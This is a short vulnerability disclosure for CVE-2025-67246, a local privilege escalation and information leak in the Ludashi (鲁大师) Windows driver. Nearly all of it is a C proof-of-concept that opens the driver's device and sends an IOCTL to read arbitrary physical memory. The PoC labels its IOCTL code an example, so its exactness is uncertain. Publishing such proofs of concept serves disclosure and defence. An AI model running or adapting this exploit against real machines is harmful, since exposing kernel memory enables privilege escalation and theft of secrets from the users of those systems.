CVE-2025-67246: 鲁大师(Ludashi)驱动本地权限提升和信息泄露漏洞

/* CVE-2025-67246 PoC - Ludashi Driver Local Privilege Escalation This PoC demonstrates reading arbitrary physical memory via Ludashi driver. Compile: gcc -o cve_poc cve_poc.c -ladvapi32 Author: CVE-Publication */ #include <windows.h> #include <stdio.h> #include <stdint.h> #define LUDASHI_DEVICE_NAME "\\\\.\\LudashiDevice" #define IOCTL_READ_PHYSICAL_MEMORY 0x9C402400 // Example IOCTL code typedef struct _PHYSICAL_MEMORY_REQUEST { uint64_t PhysicalAddress; uint32_t Size; uint8_t Buffer[1]; } PHYSICAL_MEMORY_REQUEST, *PPHYSICAL_MEMORY_REQUEST; int main() { HANDLE hDevice; DWORD bytesReturned = 0; uint8_t readBuffer[0x1000]; PHYSICAL_MEMORY_REQUEST request; BOOL success; printf("[*] CVE-2025-67246 PoC - Ludashi Driver Physical Memory Read\n"); printf("[*] Opening Ludashi device...\n"); hDevice = CreateFileA( LUDASHI_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %lu\n", GetLastError()); return 1; } printf("[+] Device opened successfully.\n"); // Read from physical address 0x1000 (arbitrary example) request.PhysicalAddress = 0x1000; request.Size = 0x100; printf("[*] Sending IOCTL request to read physical address: 0x%llx\n", request.PhysicalAddress); success = DeviceIoControl( hDevice, IOCTL_READ_PHYSICAL_MEMORY, &request, sizeof(request), readBuffer, sizeof(readBuffer), &bytesReturned, NULL ); if (success && bytesReturned > 0) { printf("[+] Successfully read %lu bytes from physical memory!\n", bytesReturned); printf("[*] First 32 bytes of data:\n"); for (int i = 0; i < 32 && i < bytesReturned; i++) { printf("%02X ", readBuffer[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n"); } else { printf("[-] Failed to read physical memory. Error: %lu\n", GetLastError()); } CloseHandle(hDevice); return 0; }